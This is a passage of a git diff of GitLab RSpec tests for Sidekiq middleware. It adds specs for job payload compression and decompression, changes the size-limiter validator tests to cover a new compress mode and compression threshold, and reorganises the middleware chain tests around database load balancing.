+ allow(::Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(false)
+ end
+
+ describe '#initialize' do
+ it 'doesnt set load_balancing metrics' do
+ expect(Gitlab::Metrics).not_to receive(:counter).with(:sidekiq_load_balancing_count, anything)
+
+ subject
+ end
+ end
+ end
+ end
end
# rubocop: enable RSpec/MultipleMemoizedHelpers
diff --git a/spec/lib/gitlab/sidekiq_middleware/size_limiter/compressor_spec.rb b/spec/lib/gitlab/sidekiq_middleware/size_limiter/compressor_spec.rb
new file mode 100644
index 00000000000..b9b58683459
--- /dev/null
+++ b/spec/lib/gitlab/sidekiq_middleware/size_limiter/compressor_spec.rb
@@ -0,0 +1,200 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Compressor do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:base_payload) do
+ {
+ "class" => "ARandomWorker",
+ "queue" => "a_worker",
+ "retry" => true,
+ "jid" => "d774900367dc8b2962b2479c",
+ "created_at" => 1234567890,
+ "enqueued_at" => 1234567890
+ }
+ end
+
+ describe '.compressed?' do
+ where(:job, :result) do
+ {} | false
+ base_payload.merge("args" => [123, 'hello', ['world']]) | false
+ base_payload.merge("args" => ['eJzLSM3JyQcABiwCFQ=='], 'compressed' => true) | true
+ end
+
+ with_them do
+ it 'returns whether the job payload is compressed' do
+ expect(described_class.compressed?(job)).to eql(result)
+ end
+ end
+ end
+
+ describe '.compress' do
+ where(:args) do
+ [
+ nil,
+ [],
+ ['hello'],
+ [
+ {
+ "job_class" => "SomeWorker",
+ "job_id" => "b4a577edbccf1d805744efa9",
+ "provider_job_id" => nil,
+ "queue_name" => "default",
+ "arguments" => ["some", ["argument"]],
+ "executions" => 0,
+ "locale" => "en",
+ "attempt_number" => 1
+ },
+ nil,
+ 'hello',
+ 12345678901234567890,
+ ['nice']
+ ],
+ [
+ '2021-05-13_09:59:37.57483 rails-background-jobs : {"severity":"ERROR","time":"2021-05-13T09:59:37.574Z"',
+ 'bonne journée - ขอให้มีความสุขในวันนี้ - má»™t ngày má»›i tốt lành - ì¢‹ì€ í•˜ë£¨ ë˜ì„¸ìš” - ã”ãã’んよã†',
+ '🤠- 🦊'
+ ]
+ ]
+ end
+
+ with_them do
+ let(:payload) { base_payload.merge("args" => args) }
+
+ it 'injects compressed data' do
+ serialized_args = Sidekiq.dump_json(args)
+ described_class.compress(payload, serialized_args)
+
+ expect(payload['args'].length).to be(1)
+ expect(payload['args'].first).to be_a(String)
+ expect(payload['compressed']).to be(true)
+ expect(payload['original_job_size_bytes']).to eql(serialized_args.bytesize)
+ expect do
+ Sidekiq.dump_json(payload)
+ end.not_to raise_error
+ end
+
+ it 'can decompress the payload' do
+ original_payload = payload.deep_dup
+
+ described_class.compress(payload, Sidekiq.dump_json(args))
+ described_class.decompress(payload)
+
+ expect(payload).to eql(original_payload)
+ end
+ end
+ end
+
+ describe '.decompress' do
+ context 'job payload is not compressed' do
+ let(:payload) { base_payload.merge("args" => ['hello']) }
+
+ it 'preserves the payload after decompression' do
+ original_payload = payload.deep_dup
+
+ described_class.decompress(payload)
+
+ expect(payload).to eql(original_payload)
+ end
+ end
+
+ context 'job payload is compressed with a default level' do
+ let(:payload) do
+ base_payload.merge(
+ 'args' => ['eF6LVspIzcnJV9JRKs8vyklRigUAMq0FqQ=='],
+ 'compressed' => true
+ )
+ end
+
+ it 'decompresses and clean up the job payload' do
+ described_class.decompress(payload)
+
+ expect(payload['args']).to eql(%w[hello world])
+ expect(payload).not_to have_key('compressed')
+ end
+ end
+
+ context 'job payload is compressed with a different level' do
+ let(:payload) do
+ base_payload.merge(
+ 'args' => [Base64.strict_encode64(Zlib::Deflate.deflate(Sidekiq.dump_json(%w[hello world]), 9))],
+ 'compressed' => true
+ )
+ end
+
+ it 'decompresses and clean up the job payload' do
+ described_class.decompress(payload)
+
+ expect(payload['args']).to eql(%w[hello world])
+ expect(payload).not_to have_key('compressed')
+ end
+ end
+
+ context 'job payload argument list is malformed' do
+ let(:payload) do
+ base_payload.merge(
+ 'args' => ['eNqLVspIzcnJV9JRKs8vyklRigUAMq0FqQ==', 'something else'],
+ 'compressed' => true
+ )
+ end
+
+ it 'tracks the conflicting exception' do
+ expect(::Gitlab::ErrorTracking).to receive(:track_and_raise_exception).with(
+ be_a(::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor::PayloadDecompressionConflictError)
+ )
+
+ described_class.decompress(payload)
+
+ expect(payload['args']).to eql(%w[hello world])
+ expect(payload).not_to have_key('compressed')
+ end
+ end
+
+ context 'job payload is not a valid base64 string' do
+ let(:payload) do
+ base_payload.merge(
+ 'args' => ['hello123'],
+ 'compressed' => true
+ )
+ end
+
+ it 'raises an exception' do
+ expect do
+ described_class.decompress(payload)
+ end.to raise_error(::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor::PayloadDecompressionError)
+ end
+ end
+
+ context 'job payload compression does not contain a valid Gzip header' do
+ let(:payload) do
+ base_payload.merge(
+ 'args' => ['aGVsbG8='],
+ 'compressed' => true
+ )
+ end
+
+ it 'raises an exception' do
+ expect do
+ described_class.decompress(payload)
+ end.to raise_error(::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor::PayloadDecompressionError)
+ end
+ end
+
+ context 'job payload compression does not contain a valid Gzip body' do
+ let(:payload) do
+ base_payload.merge(
+ 'args' => ["eNqLVspIzcnJVw=="],
+ 'compressed' => true
+ )
+ end
+
+ it 'raises an exception' do
+ expect do
+ described_class.decompress(payload)
+ end.to raise_error(::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor::PayloadDecompressionError)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/sidekiq_middleware/size_limiter/server_spec.rb b/spec/lib/gitlab/sidekiq_middleware/size_limiter/server_spec.rb
new file mode 100644
index 00000000000..91b8ef97ab4
--- /dev/null
+++ b/spec/lib/gitlab/sidekiq_middleware/size_limiter/server_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+# rubocop: disable RSpec/MultipleMemoizedHelpers
+RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Server, :clean_gitlab_redis_queues do
+ subject(:middleware) { described_class.new }
+
+ let(:worker) { Class.new }
+ let(:job) do
+ {
+ "class" => "ARandomWorker",
+ "queue" => "a_worker",
+ "args" => %w[Hello World],
+ "created_at" => 1234567890,
+ "enqueued_at" => 1234567890
+ }
+ end
+
+ before do
+ allow(::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor).to receive(:compress)
+ end
+
+ it 'yields block' do
+ expect { |b| subject.call(worker, job, :test, &b) }.to yield_control.once
+ end
+
+ it 'calls the Compressor' do
+ expect(::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor).to receive(:decompress).with(job)
+
+ subject.call(worker, job, :test) {}
+ end
+end
diff --git a/spec/lib/gitlab/sidekiq_middleware/size_limiter/validator_spec.rb b/spec/lib/gitlab/sidekiq_middleware/size_limiter/validator_spec.rb
index 3140686c908..4fbe59c3c27 100644
--- a/spec/lib/gitlab/sidekiq_middleware/size_limiter/validator_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/size_limiter/validator_spec.rb
@@ -3,6 +3,21 @@
require 'spec_helper'
RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
+ let(:base_payload) do
+ {
+ "class" => "ARandomWorker",
+ "queue" => "a_worker",
+ "retry" => true,
+ "jid" => "d774900367dc8b2962b2479c",
+ "created_at" => 1234567890,
+ "enqueued_at" => 1234567890
+ }
+ end
+
+ def job_payload(args = {})
+ base_payload.merge('args' => args)
+ end
+
let(:worker_class) do
Class.new do
def self.name
@@ -24,8 +39,8 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
it 'does not log a warning message' do
expect(::Sidekiq.logger).not_to receive(:warn)
- described_class.new(TestSizeLimiterWorker, {}, mode: 'track')
- described_class.new(TestSizeLimiterWorker, {}, mode: 'raise')
+ described_class.new(TestSizeLimiterWorker, job_payload, mode: 'track')
+ described_class.new(TestSizeLimiterWorker, job_payload, mode: 'compress')
end
end
@@ -33,7 +48,7 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
it 'defaults to track mode and logs a warning message' do
expect(::Sidekiq.logger).to receive(:warn).with('Invalid Sidekiq size limiter mode: invalid. Fallback to track mode.')
- validator = described_class.new(TestSizeLimiterWorker, {}, mode: 'invalid')
+ validator = described_class.new(TestSizeLimiterWorker, job_payload, mode: 'invalid')
expect(validator.mode).to eql('track')
end
@@ -43,7 +58,7 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
it 'defaults to track mode' do
expect(::Sidekiq.logger).not_to receive(:warn)
- validator = described_class.new(TestSizeLimiterWorker, {})
+ validator = described_class.new(TestSizeLimiterWorker, job_payload)
expect(validator.mode).to eql('track')
end
@@ -53,8 +68,8 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
it 'does not log a warning message' do
expect(::Sidekiq.logger).not_to receive(:warn)
- described_class.new(TestSizeLimiterWorker, {}, size_limit: 300)
- described_class.new(TestSizeLimiterWorker, {}, size_limit: 0)
+ described_class.new(TestSizeLimiterWorker, job_payload, size_limit: 300)
+ described_class.new(TestSizeLimiterWorker, job_payload, size_limit: 0)
end
end
@@ -62,7 +77,7 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
it 'defaults to 0 and logs a warning message' do
expect(::Sidekiq.logger).to receive(:warn).with('Invalid Sidekiq size limiter limit: -1')
- described_class.new(TestSizeLimiterWorker, {}, size_limit: -1)
+ described_class.new(TestSizeLimiterWorker, job_payload, size_limit: -1)
end
end
@@ -70,15 +85,63 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
it 'defaults to 0' do
expect(::Sidekiq.logger).not_to receive(:warn)
- validator = described_class.new(TestSizeLimiterWorker, {})
+ validator = described_class.new(TestSizeLimiterWorker, job_payload)
expect(validator.size_limit).to be(0)
end
end
+
+ context 'when the compression threshold is valid' do
+ it 'does not log a warning message' do
+ expect(::Sidekiq.logger).not_to receive(:warn)
+
+ described_class.new(TestSizeLimiterWorker, job_payload, compression_threshold: 300)
+ described_class.new(TestSizeLimiterWorker, job_payload, compression_threshold: 1)
+ end
+ end
+
+ context 'when the compression threshold is negative' do
+ it 'logs a warning message' do
+ expect(::Sidekiq.logger).to receive(:warn).with('Invalid Sidekiq size limiter compression threshold: -1')
+
+ described_class.new(TestSizeLimiterWorker, job_payload, compression_threshold: -1)
+ end
+
+ it 'falls back to the default' do
+ validator = described_class.new(TestSizeLimiterWorker, job_payload, compression_threshold: -1)
+
+ expect(validator.compression_threshold).to be(100_000)
+ end
+ end
+
+ context 'when the compression threshold is zero' do
+ it 'logs a warning message' do
+ expect(::Sidekiq.logger).to receive(:warn).with('Invalid Sidekiq size limiter compression threshold: 0')
+
+ described_class.new(TestSizeLimiterWorker, job_payload, compression_threshold: 0)
+ end
+
+ it 'falls back to the default' do
+ validator = described_class.new(TestSizeLimiterWorker, job_payload, compression_threshold: 0)
+
+ expect(validator.compression_threshold).to be(100_000)
+ end
+ end
+
+ context 'when the compression threshold is empty' do
+ it 'defaults to 100_000' do
+ expect(::Sidekiq.logger).not_to receive(:warn)
+
+ validator = described_class.new(TestSizeLimiterWorker, job_payload)
+
+ expect(validator.compression_threshold).to be(100_000)
+ end
+ end
end
shared_examples 'validate limit job payload size' do
context 'in track mode' do
+ let(:compression_threshold) { nil }
let(:mode) { 'track' }
context 'when size limit negative' do
@@ -87,11 +150,11 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
it 'does not track jobs' do
expect(Gitlab::ErrorTracking).not_to receive(:track_exception)
- validate.call(TestSizeLimiterWorker, { a: 'a' * 300 })
+ validate.call(TestSizeLimiterWorker, job_payload(a: 'a' * 300))
end
it 'does not raise exception' do
- expect { validate.call(TestSizeLimiterWorker, { a: 'a' * 300 }) }.not_to raise_error
+ expect { validate.call(TestSizeLimiterWorker, job_payload(a: 'a' * 300)) }.not_to raise_error
end
end
@@ -101,11 +164,13 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
it 'does not track jobs' do
expect(Gitlab::ErrorTracking).not_to receive(:track_exception)
- validate.call(TestSizeLimiterWorker, { a: 'a' * 300 })
+ validate.call(TestSizeLimiterWorker, job_payload(a: 'a' * 300))
end
it 'does not raise exception' do
- expect { validate.call(TestSizeLimiterWorker, { a: 'a' * 300 }) }.not_to raise_error
+ expect do
+ validate.call(TestSizeLimiterWorker, job_payload(a: 'a' * 300))
+ end.not_to raise_error
end
end
@@ -117,11 +182,13 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
be_a(Gitlab::SidekiqMiddleware::SizeLimiter::ExceedLimitError)
)
- validate.call(TestSizeLimiterWorker, { a: 'a' * 100 })
+ validate.call(TestSizeLimiterWorker, job_payload(a: 'a' * 100))
end
it 'does not raise an exception' do
- expect { validate.call(TestSizeLimiterWorker, { a: 'a' * 300 }) }.not_to raise_error
+ expect do
+ validate.call(TestSizeLimiterWorker, job_payload(a: 'a' * 300))
+ end.not_to raise_error
end
context 'when the worker has big_payload attribute' do
@@ -132,13 +199,17 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
it 'does not track jobs' do
expect(Gitlab::ErrorTracking).not_to receive(:track_exception)
- validate.call(TestSizeLimiterWorker, { a: 'a' * 300 })
- validate.call('TestSizeLimiterWorker', { a: 'a' * 300 })
+ validate.call(TestSizeLimiterWorker, job_payload(a: 'a' * 300))
+ validate.call('TestSizeLimiterWorker', job_payload(a: 'a' * 300))
end
it 'does not raise an exception' do
- expect { validate.call(TestSizeLimiterWorker, { a: 'a' * 300 }) }.not_to raise_error
- expect { validate.call('TestSizeLimiterWorker', { a: 'a' * 300 }) }.not_to raise_error
+ expect do
+ validate.call(TestSizeLimiterWorker, job_payload(a: 'a' * 300))
+ end.not_to raise_error
+ expect do
+ validate.call('TestSizeLimiterWorker', job_payload(a: 'a' * 300))
+ end.not_to raise_error
end
end
end
@@ -149,63 +220,60 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
it 'does not track job' do
expect(Gitlab::ErrorTracking).not_to receive(:track_exception)
- validate.call(TestSizeLimiterWorker, { a: 'a' })
+ validate.call(TestSizeLimiterWorker, job_payload(a: 'a'))
end
it 'does not raise an exception' do
- expect { validate.call(TestSizeLimiterWorker, { a: 'a' }) }.not_to raise_error
+ expect { validate.call(TestSizeLimiterWorker, job_payload(a: 'a')) }.not_to raise_error
end
end
end
- context 'in raise mode' do
- let(:mode) { 'raise' }
-
- context 'when size limit is negative' do
- let(:size_limit) { -1 }
-
- it 'does not raise exception' do
- expect { validate.call(TestSizeLimiterWorker, { a: 'a' * 300 }) }.not_to raise_error
- end
- end
+ context 'in compress mode' do
+ let(:mode) { 'compress' }
- context 'when size limit is 0' do
- let(:size_limit) { 0 }
+ context 'when job size is less than compression threshold' do
+ let(:size_limit) { 50 }
+ let(:compression_threshold) { 30 }
+ let(:job) { job_payload(a: 'a' * 10) }
- it 'does not raise exception' do
- expect { validate.call(TestSizeLimiterWorker, { a: 'a' * 300 }) }.not_to raise_error
+ it 'does not raise an exception' do
+ expect(::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor).not_to receive(:compress)
+ expect { validate.call(TestSizeLimiterWorker, job_payload(a: 'a')) }.not_to raise_error
end
end
- context 'when job size is bigger than size limit' do
+ context 'when job size is bigger than compression threshold and less than size limit after compressed' do
let(:size_limit) { 50 }
+ let(:compression_threshold) { 30 }
+ let(:args) { { a: 'a' * 300 } }
+ let(:job) { job_payload(args) }
- it 'raises an exception' do
- expect do
- validate.call(TestSizeLimiterWorker, { a: 'a' * 300 })
- end.to raise_error(
- Gitlab::SidekiqMiddleware::SizeLimiter::ExceedLimitError,
- /TestSizeLimiterWorker job exceeds payload size limit/i
- )
- end
-
- context 'when the worker has big_payload attribute' do
- before do
- worker_class.big_payload!
- end
+ it 'does not raise an exception' do
+ expect(::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor).to receive(:compress).with(
+ job, Sidekiq.dump_json(args)
+ ).and_return('a' * 40)
- it 'does not raise an exception' do
- expect { validate.call(TestSizeLimiterWorker, { a: 'a' * 300 }) }.not_to raise_error
- expect { validate.call('TestSizeLimiterWorker', { a: 'a' * 300 }) }.not_to raise_error
- end
+ expect do
+ validate.call(TestSizeLimiterWorker, job)
+ end.not_to raise_error
end
end
- context 'when job size is less than size limit' do
+ context 'when job size is bigger than compression threshold and bigger than size limit after compressed' do
let(:size_limit) { 50 }
+ let(:compression_threshold) { 30 }
+ let(:args) { { a: 'a' * 3000 } }
+ let(:job) { job_payload(args) }
it 'does not raise an exception' do
- expect { validate.call(TestSizeLimiterWorker, { a: 'a' }) }.not_to raise_error
+ expect(::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor).to receive(:compress).with(
+ job, Sidekiq.dump_json(args)
+ ).and_return('a' * 60)
+
+ expect do
+ validate.call(TestSizeLimiterWorker, job)
+ end.to raise_error(Gitlab::SidekiqMiddleware::SizeLimiter::ExceedLimitError)
end
end
end
@@ -218,6 +286,7 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
before do
stub_env('GITLAB_SIDEKIQ_SIZE_LIMITER_MODE', mode)
stub_env('GITLAB_SIDEKIQ_SIZE_LIMITER_LIMIT_BYTES', size_limit)
+ stub_env('GITLAB_SIDEKIQ_SIZE_LIMITER_COMPRESSION_THRESHOLD_BYTES', compression_threshold)
end
it_behaves_like 'validate limit job payload size'
@@ -226,14 +295,14 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
context 'when creating an instance with the related ENV variables' do
let(:validate) do
->(worker_clas, job) do
- validator = described_class.new(worker_class, job, mode: mode, size_limit: size_limit)
- validator.validate!
+ described_class.new(worker_class, job).validate!
end
end
before do
stub_env('GITLAB_SIDEKIQ_SIZE_LIMITER_MODE', mode)
stub_env('GITLAB_SIDEKIQ_SIZE_LIMITER_LIMIT_BYTES', size_limit)
+ stub_env('GITLAB_SIDEKIQ_SIZE_LIMITER_COMPRESSION_THRESHOLD_BYTES', compression_threshold)
end
it_behaves_like 'validate limit job payload size'
@@ -242,7 +311,10 @@ RSpec.describe Gitlab::SidekiqMiddleware::SizeLimiter::Validator do
context 'when creating an instance with mode and size limit' do
let(:validate) do
->(worker_clas, job) do
- validator = described_class.new(worker_class, job, mode: mode, size_limit: size_limit)
+ validator = described_class.new(
+ worker_class, job,
+ mode: mode, size_limit: size_limit, compression_threshold: compression_threshold
+ )
validator.validate!
end
end
diff --git a/spec/lib/gitlab/sidekiq_middleware_spec.rb b/spec/lib/gitlab/sidekiq_middleware_spec.rb
index 0efdef0c999..5e4e79e818e 100644
--- a/spec/lib/gitlab/sidekiq_middleware_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware_spec.rb
@@ -4,215 +4,212 @@ require 'spec_helper'
require 'sidekiq/testing'
RSpec.describe Gitlab::SidekiqMiddleware do
- before do
- stub_const('TestWorker', Class.new)
+ let(:job_args) { [0.01] }
+ let(:disabled_sidekiq_middlewares) { [] }
+ let(:chain) { Sidekiq::Middleware::Chain.new }
+ let(:queue) { 'test' }
+ let(:enabled_sidekiq_middlewares) { all_sidekiq_middlewares - disabled_sidekiq_middlewares }
+ let(:worker_class) do
+ Class.new do
+ def self.name
+ 'TestWorker'
+ end
- TestWorker.class_eval do
- include Sidekiq::Worker
include ApplicationWorker
- def perform(_arg)
+ def perform(*args)
Gitlab::SafeRequestStore['gitaly_call_actual'] = 1
Gitlab::SafeRequestStore[:gitaly_query_time] = 5
end
end
end
- around do |example|
- Sidekiq::Testing.inline! { example.run }
+ before do
+ stub_const('TestWorker', worker_class)
end
- let(:worker_class) { TestWorker }
- let(:job_args) { [0.01] }
-
- # The test sets up a new server middleware stack, ensuring that the
- # appropriate middlewares, as passed into server_configurator,
- # are invoked.
- # Additionally the test ensure that each middleware is
- # 1) not failing
- # 2) yielding exactly once
- describe '.server_configurator' do
- around do |example|
- with_sidekiq_server_middleware do |chain|
- described_class.server_configurator(
- metrics: metrics,
- arguments_logger: arguments_logger,
- memory_killer: memory_killer
- ).call(chain)
+ shared_examples "a middleware chain" do |load_balancing_enabled|
+ before do
+ allow(::Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(load_balancing_enabled)
+ configurator.call(chain)
+ end
- example.run
+ it "passes through the right middlewares", :aggregate_failures do
+ enabled_sidekiq_middlewares.each do |middleware|
+ expect_next_instances_of(middleware, 1, true) do |middleware_instance|
+ expect(middleware_instance).to receive(:call).with(*middleware_expected_args).once.and_call_original
+ end
end
+
+ expect { |b| chain.invoke(*worker_args, &b) }.to yield_control.once
end
+ end
+
+ shared_examples "a middleware chain for mailer" do |load_balancing_enabled|
+ let(:worker_class) { ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper }
- let(:middleware_expected_args) { [a_kind_of(worker_class), hash_including({ 'args' => job_args }), anything] }
+ it_behaves_like "a middleware chain", load_balancing_enabled
+ end
+
+ describe '.server_configurator' do
+ let(:configurator) { described_class.server_configurator }
+ let(:worker_args) { [worker_class.new, { 'args' => job_args }, queue] }
+ let(:middleware_expected_args) { [a_kind_of(worker_class), hash_including({ 'args' => job_args }), queue] }
let(:all_sidekiq_middlewares) do
[
- Gitlab::SidekiqMiddleware::Monitor,
- Gitlab::SidekiqMiddleware::BatchLoader,
- Labkit::Middleware::Sidekiq::Server,
- Gitlab::SidekiqMiddleware::InstrumentationLogger,
- Gitlab::SidekiqVersioning::Middleware,
- Gitlab::SidekiqStatus::ServerMiddleware,
- Gitlab::SidekiqMiddleware::ServerMetrics,
- Gitlab::SidekiqMiddleware::ArgumentsLogger,
- Gitlab::SidekiqMiddleware::MemoryKiller,
- Gitlab::SidekiqMiddleware::RequestStoreMiddleware,
- Gitlab::SidekiqMiddleware::ExtraDoneLogMetadata,
- Gitlab::SidekiqMiddleware::WorkerContext::Server,
- Gitlab::SidekiqMiddleware::AdminMode::Server,
- Gitlab::SidekiqMiddleware::DuplicateJobs::Server
+ ::Gitlab::SidekiqMiddleware::Monitor,
+ ::Gitlab::SidekiqMiddleware::ServerMetrics,
+ ::Gitlab::SidekiqMiddleware::ArgumentsLogger,
+ ::Gitlab::SidekiqMiddleware::MemoryKiller,
+ ::Gitlab::SidekiqMiddleware::RequestStoreMiddleware,
+ ::Gitlab::SidekiqMiddleware::ExtraDoneLogMetadata,
+ ::Gitlab::SidekiqMiddleware::BatchLoader,
+ ::Labkit::Middleware::Sidekiq::Server,
+ ::Gitlab::SidekiqMiddleware::InstrumentationLogger,
+ ::Gitlab::Database::LoadBalancing::SidekiqServerMiddleware,
+ ::Gitlab::SidekiqMiddleware::AdminMode::Server,
+ ::Gitlab::SidekiqVersioning::Middleware,
+ ::Gitlab::SidekiqStatus::ServerMiddleware,
+ ::Gitlab::SidekiqMiddleware::WorkerContext::Server,
+ ::Gitlab::SidekiqMiddleware::DuplicateJobs::Server
]
end
- let(:enabled_sidekiq_middlewares) { all_sidekiq_middlewares - disabled_sidekiq_middlewares }
+ describe "server metrics" do
+ around do |example|
+ with_sidekiq_server_middleware do |chain|
+ described_class.server_configurator(
+ metrics: true,
+ arguments_logger: true,
+ memory_killer: true
+ ).call(chain)
- shared_examples "a server middleware chain" do
- it "passes through the right server middlewares" do
- enabled_sidekiq_middlewares.each do |middleware|
- expect_next_instance_of(middleware) do |middleware_instance|
- expect(middleware_instance).to receive(:call).with(*middleware_expected_args).once.and_call_original
- end
+ Sidekiq::Testing.inline! { example.run }
end
+ end
+ let(:gitaly_histogram) { double(:gitaly_histogram) }
- disabled_sidekiq_middlewares.each do |middleware|
- expect(middleware).not_to receive(:new)
- end
+ before do
+ allow(Gitlab::Metrics).to receive(:histogram).and_call_original
+
+ allow(Gitlab::Metrics).to receive(:histogram)
+ .with(:sidekiq_jobs_gitaly_seconds, anything, anything, anything)
+ .and_return(gitaly_histogram)
+ end
+
+ it "records correct Gitaly duration" do
+ expect(gitaly_histogram).to receive(:observe).with(anything, 5.0)
worker_class.perform_async(*job_args)
end
end
- shared_examples "a server middleware chain for mailer" do
- let(:worker_class) { ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper }
- let(:job_args) do
- [
- {
- "job_class" => "ActionMailer::MailDeliveryJob",
- "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e",
- "provider_job_id" => nil,
- "queue_name" => "mailers",
- "priority" => nil,
- "arguments" => [
- "Notify",
- "test_email",
- "deliver_now",
- {
- "args" => [
- "test@example.com",
- "subject",
- "body"
- ],
- ActiveJob::Arguments.const_get('RUBY2_KEYWORDS_KEY', false) => ["args"]
- }
- ],
- "executions" => 0,
- "exception_executions" => {},
- "locale" => "en",
- "timezone" => "UTC",
- "enqueued_at" => "2020-07-27T07:43:31Z"
- }
- ]
+ context "all optional middlewares on" do
+ context "when load balancing is enabled" do
+ before do
+ allow(::Gitlab::Database::LoadBalancing).to receive_message_chain(:proxy, :load_balancer, :release_host)
+ end
+
+ it_behaves_like "a middleware chain", true
+ it_behaves_like "a middleware chain for mailer", true
end
- it_behaves_like "a server middleware chain"
- end
+ context "when load balancing is disabled" do
+ let(:disabled_sidekiq_middlewares) do
+ [
+ Gitlab::Database::LoadBalancing::SidekiqServerMiddleware
+ ]
+ end
- context "all optional middlewares off" do
- let(:metrics) { false }
- let(:arguments_logger) { false }
- let(:memory_killer) { false }
- let(:disabled_sidekiq_middlewares) do
- [
- Gitlab::SidekiqMiddleware::ServerMetrics,
- Gitlab::SidekiqMiddleware::ArgumentsLogger,
- Gitlab::SidekiqMiddleware::MemoryKiller
- ]
+ it_behaves_like "a middleware chain", false
+ it_behaves_like "a middleware chain for mailer", false
end
-
- it_behaves_like "a server middleware chain"
- it_behaves_like "a server middleware chain for mailer"
end
- context "all optional middlewares on" do
- let(:metrics) { true }
- let(:arguments_logger) { true }
- let(:memory_killer) { true }
- let(:disabled_sidekiq_middlewares) { [] }
-
- it_behaves_like "a server middleware chain"
- it_behaves_like "a server middleware chain for mailer"
+ context "all optional middlewares off" do
+ let(:configurator) do
+ described_class.server_configurator(
+ metrics: false,
+ arguments_logger: false,
+ memory_killer: false
+ )
+ end
- context "server metrics" do
- let(:gitaly_histogram) { double(:gitaly_histogram) }
+ context "when load balancing is enabled" do
+ let(:disabled_sidekiq_middlewares) do
+ [
+ Gitlab::SidekiqMiddleware::ServerMetrics,
+ Gitlab::SidekiqMiddleware::ArgumentsLogger,
+ Gitlab::SidekiqMiddleware::MemoryKiller
+ ]
+ end
before do
- allow(Gitlab::Metrics).to receive(:histogram).and_call_original
-
- allow(Gitlab::Metrics).to receive(:histogram)
- .with(:sidekiq_jobs_gitaly_seconds, anything, anything, anything)
- .and_return(gitaly_histogram)
+ allow(::Gitlab::Database::LoadBalancing).to receive_message_chain(:proxy, :load_balancer, :release_host)
end
- it "records correct Gitaly duration" do
- expect(gitaly_histogram).to receive(:observe).with(anything, 5.0)
+ it_behaves_like "a middleware chain", true
+ it_behaves_like "a middleware chain for mailer", true
+ end
- worker_class.perform_async(*job_args)
+ context "when load balancing is disabled" do
+ let(:disabled_sidekiq_middlewares) do
+ [
+ Gitlab::SidekiqMiddleware::ServerMetrics,
+ Gitlab::SidekiqMiddleware::ArgumentsLogger,
+ Gitlab::SidekiqMiddleware::MemoryKiller,
+ Gitlab::Database::LoadBalancing::SidekiqServerMiddleware
+ ]
end
+
+ it_behaves_like "a middleware chain", false
+ it_behaves_like "a middleware chain for mailer", false
end
end
end
- # The test sets up a new client middleware stack. The test ensures
- # that each middleware is:
- # 1) not failing
- # 2) yielding exactly once
describe '.client_configurator' do
- let(:chain) { Sidekiq::Middleware::Chain.new }
- let(:job) { { 'args' => job_args } }
- let(:queue) { 'default' }
+ let(:configurator) { described_class.client_configurator }
let(:redis_pool) { Sidekiq.redis_pool }
- let(:middleware_expected_args) { [worker_class_arg, job, queue, redis_pool] }
- let(:expected_middlewares) do
+ let(:middleware_expected_args) { [worker_class, hash_including({ 'args' => job_args }), queue, redis_pool] }
+ let(:worker_args) { [worker_class, { 'args' => job_args }, queue, redis_pool] }
+ let(:all_sidekiq_middlewares) do
[
- ::Gitlab::SidekiqMiddleware::WorkerContext::Client,
- ::Labkit::Middleware::Sidekiq::Client,
- ::Gitlab::SidekiqMiddleware::DuplicateJobs::Client,
- ::Gitlab::SidekiqStatus::ClientMiddleware,
- ::Gitlab::SidekiqMiddleware::AdminMode::Client,
- ::Gitlab::SidekiqMiddleware::SizeLimiter::Client,
- ::Gitlab::SidekiqMiddleware::ClientMetrics
+ ::Gitlab::SidekiqMiddleware::WorkerContext::Client,
+ ::Labkit::Middleware::Sidekiq::Client,
+ ::Gitlab::SidekiqMiddleware::DuplicateJobs::Client,
+ ::Gitlab::SidekiqStatus::ClientMiddleware,
+ ::Gitlab::SidekiqMiddleware::AdminMode::Client,
+ ::Gitlab::SidekiqMiddleware::SizeLimiter::Client,
+ ::Gitlab::SidekiqMiddleware::ClientMetrics,
+ ::Gitlab::Database::LoadBalancing::SidekiqClientMiddleware
]
end
- before do
- described_class.client_configurator.call(chain)
- end
-
- shared_examples "a client middleware chain" do
- # Its possible that a middleware could accidentally omit a yield call
- # this will prevent the full middleware chain from being executed.
- # This test ensures that this does not happen
- it "invokes the chain" do
- expected_middlewares do |middleware|
- expect_any_instance_of(middleware).to receive(:call).with(*middleware_expected_args).once.ordered.and_call_original
- end
-
